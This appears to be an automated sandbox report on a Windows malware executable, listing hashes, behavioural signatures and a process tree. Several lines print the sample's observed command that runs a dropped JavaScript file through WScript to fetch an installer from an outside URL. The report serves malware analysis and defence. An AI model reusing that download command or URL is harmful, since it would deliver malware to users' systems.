Analysis

  • max time kernel
    184s
  • max time network
    188s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2022, 09:46

General

  • Target

    af892103f496117dfe79ef77032278c211d5837a178884ef23a1b71f09fa3dac.exe

  • Size

    184KB

  • MD5

    85205eec1a4b392d032396cbb49a52da

  • SHA1

    de415c1703b62e4547be23fd534fe2cc4f1e376f

  • SHA256

    af892103f496117dfe79ef77032278c211d5837a178884ef23a1b71f09fa3dac

  • SHA512

    dab5790a2a0e93a86bd50b4974ad538714caa241f012275b2f7844b93d7a62e765dba303209bd65cb8d13320505d439bc90c4f0c27a85a13f41317d6cff6883f

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3kK:/7BSH8zUB+nGESaaRvoB7FJNndnQ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af892103f496117dfe79ef77032278c211d5837a178884ef23a1b71f09fa3dac.exe
    "C:\Users\Admin\AppData\Local\Temp\af892103f496117dfe79ef77032278c211d5837a178884ef23a1b71f09fa3dac.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf21D0.js" http://www.djapp.info/?domain=QgPNehhIzo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf21D0.exe
      2⤵
      • Blocklisted process makes network request
      PID:712
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf21D0.js" http://www.djapp.info/?domain=QgPNehhIzo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf21D0.exe
      2⤵
      • Blocklisted process makes network request
      PID:2040
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf21D0.js" http://www.djapp.info/?domain=QgPNehhIzo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf21D0.exe
      2⤵
      • Blocklisted process makes network request
      PID:2356
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf21D0.js" http://www.djapp.info/?domain=QgPNehhIzo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf21D0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1720
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf21D0.js" http://www.djapp.info/?domain=QgPNehhIzo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf21D0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1244

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fuf21D0.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76